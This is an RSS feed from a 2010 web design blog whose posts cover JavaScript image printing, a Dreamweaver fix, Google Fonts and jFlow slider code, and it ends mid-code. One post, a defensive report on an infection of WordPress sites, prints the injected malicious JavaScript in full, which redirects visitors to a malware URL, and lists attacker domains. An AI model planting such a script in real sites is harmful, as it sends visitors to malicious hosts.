<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Modern Web Design Articles and Tutorials &#187; JavaScript</title>
	<atom:link href="http://www.dlocc.com/articles/category/javascript/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dlocc.com/articles</link>
	<description></description>
	<lastBuildDate>Wed, 01 Sep 2010 23:22:57 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>Use JavaScript to Print an Image</title>
		<link>http://www.dlocc.com/articles/use-javascript-to-print-an-image/</link>
		<comments>http://www.dlocc.com/articles/use-javascript-to-print-an-image/#comments</comments>
		<pubDate>Thu, 01 Jul 2010 23:17:21 +0000</pubDate>
		<dc:creator>Devin Walker</dc:creator>
				<category><![CDATA[JavaScript]]></category>

		<guid isPermaLink="false">http://www.dlocc.com/articles/?p=2201</guid>
		<description><![CDATA[Using JavaScript you can have images print when clicked on. What this script will do for you is open whatever image is specified in the JavaScript in a new browser window along with the Print options window. This method is useful if you are looking for a way to have either a print button for [...]]]></description>
			<content:encoded><![CDATA[<p><a href="#" onclick='javascript:window.open("http://www.dlocc.com/articles/wp-content/uploads/2010/07/printer-icon.png","mywindow","width=128,height=128,left=650,top=-1"); location.href="javascript:window.print()"'><img src="http://www.dlocc.com/articles/wp-content/uploads/2010/07/printer-icon.png" alt="" title="printer-icon" width="128" height="128" class="alignleft size-full wp-image-2199" /></a>Using JavaScript you can have images print when clicked on.  What this script will do for you is open whatever image is specified in the JavaScript in a new browser window along with the Print options window.</p>
<p>This method is useful if you are looking for a way to have either a print button for a specific image on a page.  Please refer to the demo to see exactly how this can be accomplished.  Remember to specify the image's width and height in the JavaScript onClick event.</p>
<span id="more-2201"></span>
<br  /><br  />
[inline]
<pre class="brush: jscript;">
&lt;img src=&quot;http://www.dlocc.com/articles/wp-content/uploads/2010/07/fluffy-kitten.jpg&quot; alt=&quot;Print this Fluffy Kitten by Clicking Below&quot; /&gt;
&lt;a href=&quot;#&quot; onclick='javascript:window.open(&quot;http://www.dlocc.com/articles/wp-content/uploads/2010/07/fluffy-kitten.jpg&quot;,&quot;mywindow&quot;,&quot;width=322,height=323,left=650,top=-1&quot;); location.href=&quot;javascript:window.print()&quot;'&gt;Click to Print the Image Above&lt;/a&gt;  
</pre>
[/inline]
<p>If you want to see the demo please click through and we'll show you how to use JavaScript to print images by clicking a link.</p>
<h3>Demo JavaScript Print Image Button:</h3>
<a  href="#"  onclick='javascript:window.open("http://www.dlocc.com/articles/wp-content/uploads/2010/07/fluffy-kitten.jpg","mywindow","width=322,height=323,left=650,top=-1"); location.href="javascript:window.print()"'><img src="http://www.dlocc.com/articles/wp-content/uploads/2010/07/fluffy-kitten.jpg" alt="Print this Fluffy Kitten by Clicking Below" /></a>
<a  href="#"  onclick='javascript:window.open("http://www.dlocc.com/articles/wp-content/uploads/2010/07/fluffy-kitten.jpg","mywindow","width=322,height=323,left=650,top=-1"); location.href="javascript:window.print()"'>Click to Print the Image Above</a>  ]]></content:encoded>
			<wfw:commentRss>http://www.dlocc.com/articles/use-javascript-to-print-an-image/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nothing happens when launching Dreamweaver CS5 on Mac</title>
		<link>http://www.dlocc.com/articles/nothing-happens-when-launching-dreamweaver-cs5-on-mac/</link>
		<comments>http://www.dlocc.com/articles/nothing-happens-when-launching-dreamweaver-cs5-on-mac/#comments</comments>
		<pubDate>Thu, 03 Jun 2010 21:32:59 +0000</pubDate>
		<dc:creator>Devin Walker</dc:creator>
				<category><![CDATA[HTML]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Site News]]></category>

		<guid isPermaLink="false">http://www.dlocc.com/articles/?p=2098</guid>
		<description><![CDATA[So I recently started using a Mac at work and with the Adobe Creative Suite 5 just released I was pretty excited. The new additions to CS5 are great and I can see that working with WordPress will be a lot more streamlined. Anyways, I ran into a frustrating issue that a lot of other [...]]]></description>
			<content:encoded><![CDATA[<p>So I recently started using a Mac at work and with the Adobe Creative Suite 5 just released I was pretty excited.  The new additions to CS5 are great and I can see that working with WordPress will be a lot more streamlined.  Anyways, I ran into a frustrating issue that a lot of other Mac/Dreamweaver CS5 users are encountering where launching the program results in a disabled dreamweaver. </p>
<span id="more-2098"></span>
<h3>Disabled Dreamweaver</h3>
<p>When you are experiencing this problem you will see that Dreamweaver launches but your menu is limited to only a few options:<br  /><a href="http://www.dlocc.com/articles/wp-content/uploads/2010/06/Screen-shot-2010-06-03-at-2.20.38-PM.png"><img src="http://www.dlocc.com/articles/wp-content/uploads/2010/06/Screen-shot-2010-06-03-at-2.20.38-PM.png" alt="" title="Screen shot 2010-06-03 at 2.20.38 PM" width="167" height="28" class="alignnone size-full wp-image-2099" /></a></p>

<h3>Here's how I fixed the problem:</h3>
<ol>
	<li>First quit Dreamweaver CS5 if you have in launched (or kinda launched)</li>
	<li>Open Finder and navigation to: Macintosh hd/users/<your username>/library/application support/adobe/dreamweaver cs5/en-US/</li>
	<li>Here you will find the folder "configuration" ...  Rename this folder to 'configurationOld' and restart Dreamweaver</li>
</ol>
<p>What this will do is force Dreamweaver to create that configuration folder again.  Please note: this may not fix it for you and this solution has not even been mentioned by Adobe.  Hope this helps you out!</p>
<p>Here's the link to the 'official' adobe KB article on their solution to fix Dreamweaver CS5's launching problem: <a href="http://kb2.adobe.com/cps/844/cpsid_84413.html#ionComHeading" title="Nothing happens when launching Adobe Dreamweaver CS5 on a Mac">Nothing happens when launching Adobe Dreamweaver CS5 on a Mac</a></p>
<p>Here's a <a href="http://forums.adobe.com/thread/628554?start=100&tstart=0" title="Useful thread on why nothing happens when launching Dreamweaver CS5 on a Mac">useful thread</a> at the Adobe Support Forums about this dreamweaver problem and possible solutions.</p>]]></content:encoded>
			<wfw:commentRss>http://www.dlocc.com/articles/nothing-happens-when-launching-dreamweaver-cs5-on-mac/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Google Unveils the Google Font Directory and API</title>
		<link>http://www.dlocc.com/articles/google-unveils-the-google-font-directory-api/</link>
		<comments>http://www.dlocc.com/articles/google-unveils-the-google-font-directory-api/#comments</comments>
		<pubDate>Thu, 20 May 2010 02:30:29 +0000</pubDate>
		<dc:creator>Devin Walker</dc:creator>
				<category><![CDATA[CSS]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[Google]]></category>

		<guid isPermaLink="false">http://www.dlocc.com/articles/?p=1978</guid>
		<description><![CDATA[Google is looking to help all of us web and graphic designers out there who have been trying to break free of the CSS font-family limitations. How are they doing this? Today Google released the Google Font Directory and Google Font API in attempts to bring a selectable and dynamic font solution to the web. [...]]]></description>
			<content:encoded><![CDATA[<p>Google is looking to help all of us web and graphic designers out there who have been trying to break free of the CSS font-family limitations.  How are they doing this?  <strong>Today Google released</strong> the <a href="http://code.google.com/webfonts">Google Font Directory</a> and <a title="Google Font API" href="http://code.google.com/apis/webfonts/">Google Font API</a> in attempts to bring a selectable and dynamic font solution to the web.  I'm expecting the directory in the future this solution will grow to become the web's leading robust and scalable font library and API.</p>
<p>The good things about this web font solution is that it is very easy to implement and the text is completely selectable (for copy-and-paste purposes).  The downsides (both will eventually become irrelevant) are that not every browser will support it... mostly the old school ones that no one should care about anymore, and that it in it's current state the Google Font Directory is limited to a about 20+ fonts (of which you'd probably use about 10).  As the web continues to evolve both of these 'downsides' will no longer be relevant.   </p>
<p id="fooholder"><span class="foo">Google Web Fonts</span><br  /><span class="foo2">Using the Google Font API and Directory</span></p>
<link rel="stylesheet" type="text/css" href="http://fonts.googleapis.com/css?family=Tangerine"> 
<link href='http://fonts.googleapis.com/css?family=Molengo' rel='stylesheet' type='text/css'>
<style>
#fooholder {
padding:10px; background-color: #EBEFF9; text-align:center;
}
      .foo {
        font-family: 'Tangerine', serif; 
        font-size: 48px; line-height: 1em;
      }
      .foo2 {
     font-family: 'Molengo', arial, serif; font-size: 20px; font-weight: bold; line-height: 1em;
   }
</style>
<span id="more-1978"></span>
<h2>Google's Font API<img class="alignright size-full wp-image-1987" title="google-font-api-logo" src="http://www.dlocc.com/articles/wp-content/uploads/2010/05/google-font-api-logo.gif" alt="Google Font API Logo" width="196" height="40" style="padding-right:20px;" /></h2>
<p>Google's font API is a part of Google Labs and is an easy to use application programmable interface (API) that allows you to select a font from Google's font directory and use it on any website of your choosing... for free!  Applying a font from Google's Font Directory is a breeze, simply add a stylesheet link to your site's head and then use the font you selected from the directory in a CSS style.  Bingo, bango, bongo.</p>
<h3>Usage and Implementation</h3>
<p>Here's a Google Font usage example:</p>

<p>First add our stylesheet to the head of your website.</p>
[inline]
<pre class="brush: plain;">
  &lt;head&gt;
    &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;http://fonts.googleapis.com/css?family=Tangerine&quot;&gt; 
  &lt;/head&gt;
</pre>
[/inline]
<link rel="stylesheet" type="text/css" href="http://fonts.googleapis.com/css?family=Tangerine">
<p>Next, let's apply the font we chose from the Google Font Directory it to a class on our site!  We can do this in our master CSS stylesheet or in your head also (I'd recommend keeping your styles in the mastersheet).</p>
[inline]
<pre class="brush: plain;">
  &lt;head&gt;
    &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;http://fonts.googleapis.com/css?family=Tangerine&quot;&gt; 
    &lt;style&gt;
      .foo {
        font-family: 'Tangerine', serif;
        font-size: 48px;
      }
  &lt;/style&gt;
&lt;/head&gt;
</pre>
[/inline]
<p>Now with this implemented properly using the quick example shown above you will see some sweet Google font below this paragraph that's selectable and easy to implement.</p>
<p class="foo" style="margin-top:20px;line-height:1em;">Check me out!  This text is selectable and super easy to implement.  Thanks Google!</p>

<h3>Still Confused? One More Time</h3>
<p>Often times, things explained the first time don't make sense.  If you're still confused here's the jist</p>
<p><b>Step 1</b>: Add a stylesheet link requesting the fonts from Google to your website (preferably in the head).</p>
[inline]
<pre class="brush: plain;">
&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;http://fonts.googleapis.com/css?family=Font+Name&quot;&gt;
</pre>
[/inline]
<p><b>Step 2</b>: Style an element with the font you just requested in step 1.  By element I mean any CSS class or ID.</p>
[inline]
<pre class="brush: css;">
CSS selector {
  font-family: 'Font Name', serif;
}
</pre>
[/inline]
<p><b>Step 3</b>: There is no step 3! Just repeat step 2 by styling elements you have already on your website.</p>
<img class="alignnone size-full wp-image-1986" title="google-font-directory-logo" src="http://www.dlocc.com/articles/wp-content/uploads/2010/05/google-font-directory-logo.gif" alt="Google Font Directory Logo" width="264" height="40" />
<h2>Google's Font Directory</h2>
<p>Google's font directory, though still in beta and limited to about 20+ fonts, is going to be widely adopted by web designers in the near future.  Why?  Because Google has made a very intuitive, free, and simple to implement solution.  The fonts are free to use on any commercial and non-commercial web projects.</p>
<ul>

</ul>
<h2>Comparable Web Font Solutions</h2>
Google isn't the first to come out with an entirely open source font library.  Typekit and Fontdeck are doing the same thing: providing their users with a library of fonts that can be embedded on their websites.  The difference is these companies don't have the muscle of Google, are many times more difficult to implement, and may cost money (not open source).
<h3>Google Font Solution Final Thoughts</h3>]]></content:encoded>
			<wfw:commentRss>http://www.dlocc.com/articles/google-unveils-the-google-font-directory-api/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>GoDaddy WordPress Sites Infected by HolasionWeb Malicious Code</title>
		<link>http://www.dlocc.com/articles/godaddy-wordpress-sites-infected-by-holasionweb/</link>
		<comments>http://www.dlocc.com/articles/godaddy-wordpress-sites-infected-by-holasionweb/#comments</comments>
		<pubDate>Wed, 12 May 2010 17:28:19 +0000</pubDate>
		<dc:creator>Devin Walker</dc:creator>
				<category><![CDATA[HTML]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.dlocc.com/articles/?p=1918</guid>
		<description><![CDATA[Have you gotten calls from your clients hosted on GoDaddy about their WordPress site's being 'hacked'? Or perhaps this happened to you yourself. It seems there's a new report of thousands of WordPress sites being infected by malicious javascript inserted on their WordPress website. It's not everyday that WordPress gets 'hacked' by something/one.  Today one [...]]]></description>
			<content:encoded><![CDATA[<p>Have you gotten calls from your clients hosted on GoDaddy about their WordPress site's being 'hacked'?  Or perhaps this happened to you yourself.  It seems there's a new report of thousands of WordPress sites being infected by malicious javascript inserted on their WordPress website.</p>
<span id="more-1918"></span>
<p>It's not everyday that WordPress gets 'hacked' by something/one.  Today one of my clients sent me a very distressed email claiming their site had been hacked.  I thought that they were probably mistaken, but apparently not.  It appears that a malicious piece of JavaScript is infecting WordPress sites.  Most, if not all, hosted on WordPress.  This WordPress infection by 'holasionweb.com' appears to set a cookie and has ill intentions.  Let's take a look at what this attack is and how to fix it.</p>

<h3>What WordPress Versions are Potentially Infected?</h3>

This has been seen on versions up to WordPress version 2.9.2.

<h3>What Does it Do to My WordPress FrontEnd?</h3>

Nothing much, you may not see any change at all unless you have a virus protection program installed and a flag is raised by that software when you go to your site in the browser.

<h3>What About the WordPress Admin Area?</h3>

This is where you will notice something has gone wrong.  Take a look at this screenshot:

<a href="http://www.dlocc.com/articles/wp-content/uploads/2010/05/wordPressAdminAreaHacked.png"><img class="size-full wp-image-1922 alignnone" title="wordPressAdminAreaHacked" src="http://www.dlocc.com/articles/wp-content/uploads/2010/05/wordPressAdminAreaHacked.png" alt="WordPress Hacked by Malicious JavaScript" width="402" height="510" /></a>

You can immediately tell there's something wrong here.

<h3>What Does the Malicious Code Look Like?</h3>
Here's a look at the malicious code:
[inline]
<pre class="brush: jscript;">
function setCookie(c_name,value,expiredays){
	var exdate=new Date();
	exdate.setDate(exdate.getDate()+expiredays);
	document.cookie=c_name+ &quot;=&quot; +escape(value)+
	((expiredays==null) ? &quot;&quot; : &quot;;expires=&quot;+exdate.toGMTString());
}


function getCookie(c_name){
if (document.cookie.length&gt;0)
  {
  c_start=document.cookie.indexOf(c_name + &quot;=&quot;);
  if (c_start!=-1)
    {
    c_start=c_start + c_name.length+1;
    c_end=document.cookie.indexOf(&quot;;&quot;,c_start);
    if (c_end==-1) c_end=document.cookie.length;
    return unescape(document.cookie.substring(c_start,c_end));
    }
  }
return &quot;&quot;;
}


var name=getCookie(&quot;pma_visited_theme1&quot;);
if (name==&quot;&quot;){
	setCookie(&quot;pma_visited_theme1&quot;,&quot;1&quot;,20);
	var url=&quot;http://www4.suitcase52td.net/?p=p52dcWpkbG6Hnc3KbmNToKV1iqHWnG2dXseYlWibZmeWmQ%3D%3D&quot;;
	window.top.location.replace(url);
}else{


}
</pre>
[/inline]
Take a look at the script above, this is the problem.  

<h3>Ok, So How Do I Fix the 'HolasionWeb' WordPress GoDaddy Issue?!</h3>

<p>Download this fix that will detect the script on your site and get rid of it: <strong><a href="http://www.dlocc.com/downloads/wordpress-fix.zip">Download HoliasionWeb.com Malicious Script WordPress Fix</a></strong></p>

<h4>Instructions for running the WordPress hack fix</h4>
<ol>
<li>Unzip and <strong>Upload the php file via FTP</strong> to your <em>home directory</em></li>
<li>Navigate your browser to http://mywebsite.com/wordpress-fix.php where 'mywebsite' is your domain to start the fix
note: the fix may take a few minutes to run</li>
<li>When it says complete, check to see if it's actually fixed and you're good to go!</li>
</ol>
Here's a link to the original solution: <a href="http://blog.sucuri.net/2010/05/simple-cleanup-solution-for-latest.html">http://blog.sucuri.net/2010/05/simple-cleanup-solution-for-latest.html</a>

This seems to have worked for my instance.  Here's the link to the release that tipped me off on this...

<a title="GoDaddy Holasionweb.com infection" href="http://blog.sucuri.net/2010/05/lots-of-sites-reinfected-now-using.html">http://blog.sucuri.net/2010/05/lots-of-sites-reinfected-now-using.html</a>

<a title="Malicous JavaScript Infecting WordPress on GoDaddy" href="http://sucuri.net/malware/entry/MW:MROBH:1">http://sucuri.net/malware/entry/MW:MROBH:1</a>

Other domains where's this malicious script has been:

http://www.indesignstudioinfo.com/ls.php


http://zettapetta.com/js.php


http://holasionweb.com/oo.php

<h3>Lesson Here: Do Not Host with Go Daddy!</h3>
They are insecure, unreliable and have terrible support.]]></content:encoded>
			<wfw:commentRss>http://www.dlocc.com/articles/godaddy-wordpress-sites-infected-by-holasionweb/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>jFlow Slider Auto Slider with Pause Functionality</title>
		<link>http://www.dlocc.com/articles/jflow-slider-auto-slider-with-pause-functionality/</link>
		<comments>http://www.dlocc.com/articles/jflow-slider-auto-slider-with-pause-functionality/#comments</comments>
		<pubDate>Thu, 22 Apr 2010 00:02:41 +0000</pubDate>
		<dc:creator>Devin Walker</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Site News]]></category>
		<category><![CDATA[Auto Slide]]></category>
		<category><![CDATA[jFlow]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[Pause]]></category>
		<category><![CDATA[Slider]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.dlocc.com/articles/?p=1886</guid>
		<description><![CDATA[Attention: jFlow Plus is Out This article uses an outdated version of jFlow and, although it works just fine, lacks some enhancements. Please check out jFlow Plus on my other website WordImpressed.com! There you can read about jFlow Plus and view a cool demo. jQuery sliders make a great website addition. Are you using the [...]]]></description>
			<content:encoded><![CDATA[<h2>Attention: jFlow Plus is Out</h2>
<p>This article uses an outdated version of jFlow and, although it works just fine, lacks some enhancements.  Please check out <a href="http://www.wordimpressed.com/coding/jflow-plus-auto-slide-examples-demo-and-tips/" title="jFlow Plus Demo and Tips"><strong>jFlow Plus</strong></a> on my other website <a href="http://www.wordimpressed.com" title="WordImpressed.com">WordImpressed.com</a>!  There you can read about jFlow Plus and view a <a href="http://www.wordimpressed.com/demos/jFlowPlusDemo/index.html" title="jFlow Plus Demo"><strong>cool demo</strong></a>.</p>
<p>jQuery sliders make a great website addition.  Are you using the <strong>jQuery jFlow Slider Plug-in</strong>?  Awesome! Out of the box this slider is pretty good.  It's easy to modify and light weight.  In this article I will show you how to add an auto slide functionality and pause functionality to the jFlow jQuery plug-in.</p>

<h3>Why jFlow is a Good Slider</h3>

<p>jFlow is a very light-weight slider.  If you've been using sliders in your web design for some time perhaps you've had experiences with a few jQuery sliders that hasn't been so good.  jFlow out-of-the-box is good, but let's make it great.  One of the most requested features for this slider is to have the popular pause and autoslide functions.</p>

<img class="alignnone size-full wp-image-1888" title="jquery-jflow" src="http://www.dlocc.com/articles/wp-content/uploads/2010/04/jquery-jflow.png" alt="jQuery and jFlow Auto Slide with Pause" width="535" height="125" />

<span id="more-1886"></span>

<h2>The jFlow Plug-In</h2>

Here's a look at the jFlow plug-in Version 1.2:

Notice how there's no coding for an automatic slide feature.
[inline]

<pre class="brush: jscript; collapse: true; light: false; toolbar: true;">
/* Copyright (c) 2008 Kean Loong Tan http://www.gimiti.com/kltan
* Licensed under the MIT (http://www.opensource.org/licenses/mit-license.php)
* jFlow
* Version: 1.0 (May 13, 2008)
* Requires: jQuery 1.2+
*/

(function($) {

$.fn.jFlow = function(options) {
var opts = $.extend({}, $.fn.jFlow.defaults, options);
var cur = 0;
var maxi = $(&quot;.jFlowControl&quot;).length;
$(this).find(&quot;.jFlowControl&quot;).each(function(i){
$(this).click(function(){
$(&quot;.jFlowControl&quot;).removeClass(&quot;jFlowSelected&quot;);
$(this).addClass(&quot;jFlowSelected&quot;);
var dur = Math.abs(cur-i+1);
$(opts.slides).animate({
marginLeft: &quot;-&quot; + (i * $(opts.slides).find(&quot;:first-child&quot;).width() + &quot;px&quot;)
}, opts.duration*(dur));
cur = i;
});
});

$(opts.slides).before('&amp;lt;div id=&quot;jFlowSlide&quot;&amp;gt;&amp;lt;/div&amp;gt;').appendTo(&quot;#jFlowSlide&quot;);

$(opts.slides).find(&quot;div&quot;).each(function(){
$(this).before('&amp;lt;div&amp;gt;&amp;lt;/div&amp;gt;').appendTo($(this).prev());
});

//initialize the controller
$(&quot;.jFlowControl&quot;).eq(cur).addClass(&quot;jFlowSelected&quot;);

var resize = function (x){
$(&quot;#jFlowSlide&quot;).css({
position:&quot;relative&quot;,
width: opts.width,
height: opts.height,
overflow: &quot;hidden&quot;
});

$(opts.slides).css({
position:&quot;relative&quot;,
width: $(&quot;#jFlowSlide&quot;).width()*$(&quot;.jFlowControl&quot;).length+&quot;px&quot;,
height: $(&quot;#jFlowSlide&quot;).height()+&quot;px&quot;,
overflow: &quot;hidden&quot;
});

$(opts.slides).children().css({
position:&quot;relative&quot;,
width: $(&quot;#jFlowSlide&quot;).width()+&quot;px&quot;,
height: $(&quot;#jFlowSlide&quot;).height()+&quot;px&quot;,
&quot;float&quot;:&quot;left&quot;
});

$(opts.slides).css({
marginLeft: &quot;-&quot; + (cur * $(opts.slides).find(&quot;:first-child&quot;).width() + &quot;px&quot;)
});
}

resize();

$(window).resize(function(){
resize();
});

$(&quot;.jFlowPrev&quot;).click(function(){
if (cur &amp;gt; 0)
cur--;
else
cur = maxi -1;

$(&quot;.jFlowControl&quot;).removeClass(&quot;jFlowSelected&quot;);
$(opts.slides).animate({
marginLeft: &quot;-&quot; + (cur * $(opts.slides).find(&quot;:first-child&quot;).width() + &quot;px&quot;)
}, opts.duration);
$(&quot;.jFlowControl&quot;).eq(cur).addClass(&quot;jFlowSelected&quot;);
});

$(&quot;.jFlowNext&quot;).click(function(){
if (cur &amp;lt; maxi - 1)
cur++;
else
cur = 0;

$(&quot;.jFlowControl&quot;).removeClass(&quot;jFlowSelected&quot;);
$(opts.slides).animate({
marginLeft: &quot;-&quot; + (cur * $(opts.slides).find(&quot;:first-child&quot;).width() + &quot;px&quot;)
}, opts.duration);
$(&quot;.jFlowControl&quot;).eq(cur).addClass(&quot;jFlowSelected&quot;);
});
};

$.fn.jFlow.defaults = {
easing: &quot;swing&quot;,
duration: 400,
width: &quot;100%&quot;
};

})(jQuery);
</pre>

[/inline]

<p><strong><a href="http://www.dlocc.com/downloads/jFlow.zip" title="Download jFlow v1.0">jFlow Original Download</a></strong></p>

<h2>jFlow Demo</h2>
<p>Recently I put up a demo on my other website <a href="http://www.wordimpressed.com/" title="WordImpressed.com - A Great WordPress Blog">wordimpressed.com</a>, you can view it here: <a href="http://www.wordimpressed.com/demos/jFlowPlusDemo/index.html" title="jFlow Slider Demonstration">jFlow Slider Demo on WordImpressed</a>.  Also, be sure to read the <a href="http://www.wordimpressed.com/coding/jflow-plus-auto-slide-examples-demo-and-tips/" title="Article about jFlow Plus">newer article I wrote about the jFlow Plus Release</a>.</p>

<h2>jFlow Auto Slide</h2>
<p>Have you been searching on Google for an easy Auto Slide solution for the jQuery jFlow plug-in?  Well, look no more... you have found it.  Here's the solution below.  Expand to see the code or download it using the link below.</p>
[inline]

<pre class="brush: jscript; collapse: true; light: false; toolbar: true;">
/* Copyright (c) 2008 Kean Loong Tan http://www.gimiti.com/kltan
 * Licensed under the MIT (http://www.opensource.org/licenses/mit-license.php)
 * jFlow
 * Version: 1.2 (July 7, 2008)
 * Requires: jQuery 1.2+
 */

(function($) {

 $.fn.jFlow = function(options) {
 var opts = $.extend({}, $.fn.jFlow.defaults, options);
 var randNum = Math.floor(Math.random()*11);
 var jFC = opts.controller;
 var jFS =  opts.slideWrapper;
 var jSel = opts.selectedWrapper;

 var cur = 0;
 var timer;
 var maxi = $(jFC).length;
 // sliding function
 var slide = function (dur, i) {
 $(opts.slides).children().css({
 overflow:&quot;hidden&quot;
 });
 $(opts.slides + &quot; iframe&quot;).hide().addClass(&quot;temp_hide&quot;);
 $(opts.slides).animate({
 marginLeft: &quot;-&quot; + (i * $(opts.slides).find(&quot;:first-child&quot;).width() + &quot;px&quot;)
 },
 opts.duration*(dur),
 opts.easing,
 function(){
 $(opts.slides).children().css({
 overflow:&quot;hidden&quot;
 });
 $(&quot;.temp_hide&quot;).show();
 }
 );

 }
 $(this).find(jFC).each(function(i){
 $(this).click(function(){
 dotimer();
 if ($(opts.slides).is(&quot;:not(:animated)&quot;)) {
 $(jFC).removeClass(jSel);
 $(this).addClass(jSel);
 var dur = Math.abs(cur-i);
 slide(dur,i);
 cur = i;
 }
 });
 });

 $(opts.slides).before('&lt;div id=&quot;'+jFS.substring(1, jFS.length)+'&quot;&gt;&lt;/div&gt;').appendTo(jFS);

 $(opts.slides).find(&quot;div&quot;).each(function(){
 $(this).before('&lt;div&gt;&lt;/div&gt;').appendTo($(this).prev());
 });

 //initialize the controller
 $(jFC).eq(cur).addClass(jSel);

 var resize = function (x){
 $(jFS).css({
 position:&quot;relative&quot;,
 width: opts.width,
 height: opts.height,
 overflow: &quot;hidden&quot;
 });
 //opts.slides or #mySlides container
 $(opts.slides).css({
 position:&quot;relative&quot;,
 width: $(jFS).width()*$(jFC).length+&quot;px&quot;,
 height: $(jFS).height()+&quot;px&quot;,
 overflow: &quot;hidden&quot;
 });
 // jFlowSlideContainer
 $(opts.slides).children().css({
 position:&quot;relative&quot;,
 width: $(jFS).width()+&quot;px&quot;,
 height: $(jFS).height()+&quot;px&quot;,
 &quot;float&quot;:&quot;left&quot;,
 overflow:&quot;hidden&quot;
 });

 $(opts.slides).css({
 marginLeft: &quot;-&quot; + (cur * $(opts.slides).find(&quot;:eq(0)&quot;).width() + &quot;px&quot;)
 });
 }

 // sets initial size
 resize();

 // resets size
 $(window).resize(function(){
 resize();
 });

 $(opts.prev).click(function(){
 dotimer();
 doprev();

 });

 $(opts.next).click(function(){
 dotimer();
 donext();

 });

 var doprev = function (x){
 if ($(opts.slides).is(&quot;:not(:animated)&quot;)) {
 var dur = 1;
 if (cur &gt; 0)
 cur--;
 else {
 cur = maxi -1;
 dur = cur;
 }
 $(jFC).removeClass(jSel);
 slide(dur,cur);
 $(jFC).eq(cur).addClass(jSel);
 }
 }

 var donext = function (x){
 if ($(opts.slides).is(&quot;:not(:animated)&quot;)) {
 var dur = 1;
 if (cur &lt; maxi - 1)
 cur++;
 else {
 cur = 0;
 dur = maxi -1;
 }
 $(jFC).removeClass(jSel);
 //$(jFS).fadeOut(&quot;fast&quot;);
 slide(dur, cur);
 //$(jFS).fadeIn(&quot;fast&quot;);
 $(jFC).eq(cur).addClass(jSel);
 }
 }

 var dotimer = function (x){
 if((opts.auto) == true) {
 if(timer != null)
 clearInterval(timer);

 timer = setInterval(function() {
 $(opts.next).click();
 }, 3000);
 }
 }

 dotimer();
 };

 $.fn.jFlow.defaults = {
 controller: &quot;.jFlowControl&quot;, // must be class, use . sign
 slideWrapper : &quot;#jFlowSlide&quot;, // must be id, use # sign
 selectedWrapper: &quot;jFlowSelected&quot;,  // just pure text, no sign
 auto: false,
 easing: &quot;swing&quot;,
 duration: 400,
 width: &quot;100%&quot;,
 prev: &quot;.jFlowPrev&quot;, // must be class, use . sign
 next: &quot;.jFlowNext&quot; // must be class, use . sign
 };

})(jQuery);

</pre>

[/inline]

<p><strong><a href="http://www.dlocc.com/downloads/jquery.flow.1.2.auto.js.zip" title="Download jFlow v1.0">jFlow with Auto Slide Functionality Download</a></strong></p>

<h2>jFlow with Auto Slide and Pause Functionality</h2>
<p>Now that you have the slider with auto slide functionality there's a timer that is in effect.  Let's take this timer out whenever the user's mouse is outside the slider area.  Here's the modified jFlow code below.  Download it using the link below.</p>

[inline]

<pre class="brush: jscript; collapse: true; light: false; toolbar: true;">
/* Copyright (c) 2008 Kean Loong Tan http://www.gimiti.com/kltan

 * Licensed under the MIT (http://www.opensource.org/licenses/mit-license.php)

 * jFlow

 * Version: 1.2 (July 7, 2008)

 * Requires: jQuery 1.2+

 */

 

(function($) {



	$.fn.jFlow = function(options) {

		var opts = $.extend({}, $.fn.jFlow.defaults, options);

		var randNum = Math.floor(Math.random()*11);

		var jFC = opts.controller;

		var jFS =  opts.slideWrapper;

		var jSel = opts.selectedWrapper;
		
		



		var cur = 0;

		var timer;

		var maxi = $(jFC).length;

		// sliding function

		var slide = function (dur, i) {

			$(opts.slides).children().css({

				overflow:&quot;hidden&quot;

			});

			$(opts.slides + &quot; iframe&quot;).hide().addClass(&quot;temp_hide&quot;);

			$(opts.slides).animate({

				marginLeft: &quot;-&quot; + (i * $(opts.slides).find(&quot;:first-child&quot;).width() + &quot;px&quot;)

				},

				opts.duration*(dur),

				opts.easing,

				function(){

					$(opts.slides).children().css({

						overflow:&quot;hidden&quot;

					});

					$(&quot;.temp_hide&quot;).show();

				}

			);

			

		}

		$(this).find(jFC).each(function(i){

			$(this).click(function(){

				dotimer();

				if ($(opts.slides).is(&quot;:not(:animated)&quot;)) {

					$(jFC).removeClass(jSel);

					$(this).addClass(jSel);

					var dur = Math.abs(cur-i);

					slide(dur,i);

					cur = i;

				}

			});

		});	

		

		$(opts.slides).before('&lt;div id=&quot;'+jFS.substring(1, jFS.length)+'&quot;&gt;&lt;/div&gt;').appendTo(jFS);

		

		$(opts.slides).find(&quot;div&quot;).each(function(){

			$(this).before('&lt;div class=&quot;jFlowSlideContainer&quot;&gt;&lt;/div&gt;').appendTo($(this).prev());

		});

		

		//initialize the controller

		$(jFC).eq(cur).addClass(jSel);

		

		var resize = function (x){

